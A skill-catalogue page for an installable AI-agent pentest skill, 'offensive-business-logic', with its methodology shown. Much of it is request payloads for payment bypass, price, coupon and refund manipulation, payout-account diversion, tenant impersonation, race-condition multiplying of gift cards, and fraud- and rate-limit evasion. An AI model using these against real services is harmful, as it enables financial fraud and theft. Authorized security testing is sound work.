offensive-business-logic
Business logic vulnerability testing for web/mobile/API engagements. Covers workflow bypass, state machine violations, multi-step process abuse, price/quantity/discount manipulation, currency confusion, coupon stacking, refund/chargeback abuse, race conditions on logic boundaries, parameter tamperin…
Install / Use
npx skills add SnailSploit/Claude-Red --skill offensive-business-logicInstalls into whichever agent you are using.
SKILL.md
Installable skill definition
Quality Score
Category
SecuritySupported Platforms
Our assessment of offensive-business-logic
offensive-business-logic scores 96/100 on our quality scale, 130th of 653 Security skills we index (top 20%).
Its SKILL.md is 13 KB long, well organised into 72 sections with 27 code examples: a thorough specification that gives an agent plenty to work with.
With 6,850 GitHub stars, it is one of the more widely adopted skills in the catalogue.
Maintenance, license and trust
- The repository was last updated 6 days ago, so offensive-business-logic is actively maintained.
- It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
- Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit — read the skill file before letting an agent act on it.
Safety scan
No issues foundOur scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands.
Automated pattern scan on 2026-09-26. It catches known dangerous patterns, not every risk — read a skill before letting an agent act on it.
offensive-business-logic compared with similar skills
All 4 of these similar skills score higher than offensive-business-logic; compare them before choosing.
| Skill | Score | Stars | Updated | Format |
|---|---|---|---|---|
| offensive-business-logic (this skill)by SnailSploit | 96 | 6.8k | 6d ago | SKILL.md |
| Agent-Reachby Panniantong | 100 | 85.5k | 11d ago | CLAUDE.md |
| headroomby headroomlabs-ai | 100 | 73.8k | today | CLAUDE.md |
| Scraplingby D4Vinci | 100 | 83.8k | today | MCP Server |
| LocalAIby mudler | 100 | 49.3k | today | MCP Server |
Frequently asked questions
- How do I install offensive-business-logic?
- Run
npx skills add SnailSploit/Claude-Red --skill offensive-business-logic. The install tabs above show the steps for each supported agent. - Which AI agents does offensive-business-logic work with?
- It is written for Universal, as a SKILL.md file. Other agents that read the same format can often use it too.
- Is offensive-business-logic safe to use?
- Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
- Is offensive-business-logic still maintained?
- The repository was last updated 6 days ago, so offensive-business-logic is actively maintained.
Skill content
View source on GitHubname: offensive-business-logic description: "Business logic vulnerability testing for web/mobile/API engagements. Covers workflow bypass, state machine violations, multi-step process abuse, price/quantity/discount manipulation, currency confusion, coupon stacking, refund/chargeback abuse, race conditions on logic boundaries, parameter tampering for hidden flows, role/tenant boundary violations, time-of-check vs use, anti-automation defeat, fraud-detection evasion, and subscription/quota abuse. Use when scoping an application after surface-level OWASP Top 10 has been covered, or when the asset is a transactional/marketplace/fintech/e-commerce/SaaS app where logic flaws produce direct financial impact."
Business Logic — Offensive Testing Methodology
Business logic flaws are the highest-paying class of vulnerability for bug bounty and the hardest for scanners to detect. They live in the gap between what the developer specified and what an attacker can convince the system to accept.
Quick Workflow
- Map every multi-step flow as a state machine (states + allowed transitions + side effects)
- For each transition, ask: who can call it, in what state, with what inputs, how many times
- Probe each axis (state, identity, input, frequency) for assumptions
- Combine flaws — single-axis flaws are usually low severity; chains are critical
- Quantify financial impact per finding (loss-per-attack × scale)
Reconnaissance — Mapping the Logic
Build the State Machine
For each user flow, draw:
- States: cart, pending payment, paid, shipped, refunded, cancelled
- Transitions: which API/UI action, which role, which preconditions
- Side effects: balance change, inventory change, email, webhook
Look for transitions that:
- Skip intermediate states (
cart→shippedwithoutpaid) - Are reversible when they shouldn't be (
shipped→cart) - Trigger side effects more than once
- Allow cross-role invocation
Hidden / Internal Endpoints
# Compare authenticated and unauthenticated JS bundles for buried admin routes
diff <(curl https://app/main.js) <(curl -H "Cookie: ..." https://app/main.js)
# Look for flag/feature toggles that change UI but not server-side enforcement
grep -E '(isAdmin|isInternal|featureFlag|debug)' bundle.js
# API spec (OpenAPI/Swagger) often lists endpoints the UI never calls
curl https://app/api/openapi.json | jq '.paths | keys'
Workflow / State-Machine Bypass
Skip a Required Step
# Normal flow: /verify-email → /set-password → /enable-2fa → /dashboard
# Try jumping directly:
GET /dashboard
GET /api/account/details
POST /api/payout-settings
# Checkout flow: /cart → /address → /shipping → /payment → /confirm
# Skip /payment by replaying /confirm with a previous order's payment-token reference:
POST /api/order/confirm
{ "cartId": "current", "paymentRef": "<old-paid-order-payment-ref>" }
Replay a One-Time Action
# Refund endpoint without idempotency
POST /api/orders/123/refund # First call: $50 refunded, order marked refunded
POST /api/orders/123/refund # Second call: server checks "is order refunded?" — race the check (see TOCTOU)
State Downgrade
Move a finalized object back to an editable state where mutations have effect:
PUT /api/order/123
{ "status": "draft" } # If accepted, you can now edit the price field
PUT /api/order/123
{ "items": [{ "id": "tv", "price": 1 }] }
Direct Endpoint Invocation
Many admin/backend transitions are reachable from any authenticated user if route-level RBAC is missing while the UI hides them.
# Enumerate verbs on every discovered path
for path in $(cat paths.txt); do
for v in GET POST PUT PATCH DELETE OPTIONS; do
code=$(curl -s -o /dev/null -w "%{http_code}" -X $v -H "Authorization: Bearer $T" https://app$path)
echo "$v $path $code"
done
done | grep -v -E ' (401|403|404) '
Price / Quantity / Currency Manipulation
Negative / Zero / Float Quantities
POST /api/cart/add
{ "sku": "tv", "qty": -1 } # Refund issued for adding negative items?
{ "sku": "tv", "qty": 0.0001 } # Float rounding: $0 line item, full product shipped?
{ "sku": "tv", "qty": 9e99 } # Overflow → wraps to small number, $0 cost?
Hidden Price Fields
POST /api/checkout
{ "items": [{"sku":"tv","qty":1,"price":1}], "total": 1, "tax": 0, "shipping": 0 }
If the server trusts client-supplied price, you set the price. Test every numeric field — price, total, discount, tax, shipping, subtotal, currency.
Currency Confusion
POST /api/checkout
{ "amount": 100, "currency": "JPY" } # Pay 100 JPY (~$0.65) for $100 USD product?
{ "amount": 100, "currency": "VND" } # Even better
{ "amount": 100, "currency": "BTC" } # Or worse: pay in BTC at $1 BTC = $1?
Look for: missing currency normalization, sloppy FX rate caching, currency lookup by user input.
Coupon / Discount Logic
# Apply same coupon multiple times
POST /api/cart/coupon { "code": "SAVE50" }
POST /api/cart/coupon { "code": "SAVE50" } # Stacks?
POST /api/cart/coupon { "code": "save50" } # Case sensitivity gives second slot?
POST /api/cart/coupon { "code": "SAVE50 " } # Whitespace ditto?
# Coupon for a different product
POST /api/cart/apply-coupon { "code": "FREEMOUSE", "appliedTo": "macbook" }
# Negative discount (becomes a surcharge that reduces total when coupon stacked with another)
POST /api/admin/coupon { "code": "X", "percent": -50 } # If admin endpoint reachable
# Expired coupon: change date in payload?
POST /api/cart/coupon { "code": "BLACKFRIDAY", "appliedAt": "2023-11-25T00:00:00Z" }
Cart Tampering
# Add a cheap item, edit the SKU server-side
POST /api/cart/add { "sku": "pen", "qty": 1 }
PUT /api/cart/items/abc { "sku": "macbook" } # SKU swap with pen's price retained?
Refund / Chargeback / Payout Abuse
Refund More Than You Paid
POST /api/orders/123/refund { "amount": 99999 }
Refund After Returning Less
Order ships 5 items, you return 1, request refund for full order. Logic should compute refund per returned item; if it computes per order, free items.
Convert Refund to Different Method
POST /api/orders/123/refund { "method": "store-credit" }
# vs original card payment → store credit can be transferred / sold
Payout Account Race
PUT /api/payout-account { "iban": "ATTACKER" }
POST /api/withdraw { "amount": 1000 }
PUT /api/payout-account { "iban": "ORIGINAL" } # Restore before audit
Identity / Tenant / Role Boundary
Role Confusion via Multipart / Parameter Pollution
POST /api/users/me
role=user&role=admin # Last-wins parser → admin
{"role": "user", "role": "admin"} # JSON last-wins
Tenant ID Substitution in Hidden Field
POST /api/invoices
{ "amount": 100, "tenantId": "victim-corp", "billTo": "attacker" }
# Charges victim-corp for attacker's order
Mass Assignment / Field Whitelist
PUT /api/users/me
{ "email": "x@y.com", "isAdmin": true, "credits": 10000, "tenantId": "victim" }
Test every field that exists on the model, not just those the form exposes.
Indirect Privilege via Object Linking
POST /api/projects/PUBLIC-PROJECT/share-token # Anyone can mint
GET /api/projects/PUBLIC-PROJECT/internal-only-data?token=...
# Sharing API meant for collaborators bypasses role check on data API
Race Conditions on Logic Boundaries
Logic checks that read state, then act on state, are TOCTOU-vulnerable. (Also see: offensive-toctou, offensive-race-condition.)
Single-Packet Multi-Request
# Burp Repeater "Send group in parallel (single-packet attack)" — HTTP/2 over TLS,
# all requests' last frames sent in one TCP segment. Server processes them concurrently.
Common Logic Races
| Flow | Race |
|------|------|
| Coupon redemption | N parallel apply-coupon calls each see "unused" |
| 2FA verification | Submit code N times in parallel before lockout counter increments |
| Withdrawal | Parallel withdraws each see full balance |
| Vote / Like / Reaction | "One per user" check raced |
| Invitation acceptance | Multiple accepts → multiple seats granted |
| Free-trial signup | Parallel signups → multiple trials per email |
| Gift-card redeem | Parallel redeems → multi-spend a single card |
| Inventory reservation | Parallel buys of last item → oversell, supplier covers difference |
Amplification
# Send 30 parallel "redeem $10 gift card" requests, all see balance = $10
# Result: $300 credited from a $10 card
Anti-Automation / Fraud Defeat
Captcha / Rate Limit Bypass
| Bypass | Mechanic |
|--------|----------|
| Token reuse | One captcha solve, replay token across many requests |
| Endpoint mirror | /api/v1/login rate-limited, /api/v2/login not |
| Header rotation | X-Forwarded-For: <random> resets per-IP counter |
| HTTP/2 stream multiplexing | Each stream counted as same conn → window only |
| Method/case variation | POST /Login vs POST /login keyed differently in cache |
Device Fingerprint / Velocity
- New device → require step-up auth. Replay captured device cookies / FingerprintJS hash.
- Velocity counters (5 logins/hour) often per
(userid, ip)not peruserid. - Risk score thresholds: small purchases skip review. Test the boundary ($99.99 vs $100).
Free Trial / Sign-Up Abuse
# Email aliasing
attacker+1@gmail.com, attacker+2@gmail.com # Plus-aliasing
attacker.@gmail.com, a.t.t.acker@gmail.com # Dots ignored on Gmail
attacker@googlemail.com # gmail/googlemail equivalence
# Phone number recycling (number-portable VOIP) — identity not unique
# Device-ID rotation (mobile testing) — wipe storage, new install
Referral / Reward Loops
POST /api/refer { "email": "a@x.com" } # +$5 to me when they sign up
# Sign up the alias, receive referral
POST /api/refer { "email": "a+1@x.com" } # Repeat — many sign-ups, all same person
Subscription / Quota / Tier Abuse
Tier Downgrade Retains Premium Features
PUT /api/subscription { "tier": "free" } # Cancel paid
GET /api/feature/premium-export # Still works because feature flag cached?
Mid-Cycle Quota Reset
PUT /api/subscription { "tier": "pro" } # +1000 quota
PUT /api/subscription { "tier": "free" } # Resets to 0? Or just caps display?
PUT /api/subscription { "tier": "pro" } # +1000 again — net 2000 in one cycle
Add-On Stacking
POST /api/addons { "id": "extra-storage" } # +10GB
POST /api/addons { "id": "extra-storage" } # Stacks to 20GB?
POST /api/addons { "id": "extra-storage" } # Or charges once, stacks N times?
Time-Based Logic
Time Travel via Headers
POST /api/checkout
Date: Wed, 01 Jan 2020 00:00:00 GMT # Server-trusted time?
X-Request-Time: 1577836800
Promotion Window
Set client-side date to inside the window, server validates X-Promo-Time parameter. Stale promo cache means yesterday's prices apply today.
Token / Session Expiry
Refresh token endpoint that doesn't check the original token's expiry → indefinite session extension.
Combining Flaws — Where the Crits Live
Single-axis findings are interesting; chains are payouts.
Example chain (real, paid bounty):
- Coupon stacking allows
100% off× 2 → negative total - Negative total → store credit issued (refund of "overpayment")
- Store credit transferable to gift card
- Gift card race condition → multiplied
- Gift card redeemable on partner site for cash equivalents
Chain template:
- Find a thing the system gives you (credit, points, slot, seat)
- Find a way to multiply it (race, replay, stacking)
- Find a way to convert it to value (transfer, refund,
Truncated for display — read the full file on GitHub.
Related Skills
Agent-Reach
85.5kGive your AI agent eyes to see the entire internet. Read & search Twitter, Reddit, YouTube, GitHub, Bilibili, XiaoHongShu — one CLI, zero API fees.
headroom
73.8kCompress tool outputs, logs, files, and RAG chunks before they reach the LLM. 20% fewer tokens for coding agents, 60-95% fewer tokens for JSON, same answers. Library, proxy, MCP server.
Scrapling
83.8k🕷️ An adaptive Web Scraping framework that handles everything from a single request to a full-scale crawl! Don't be shy, join here: https://discord.gg/EMgGbDceNQ and follow here for daily tips and tricks: https://x.com/Scrapling_dev
LocalAI
49.3kLocalAI is the open-source AI engine. Run any model - LLMs, vision, voice, image, video - on any hardware. No GPU required.
Languages
Trust signals
From repository metadata: license, adoption, age and documentation. Not a code audit — see the Safety scan above for what the skill file itself contains.
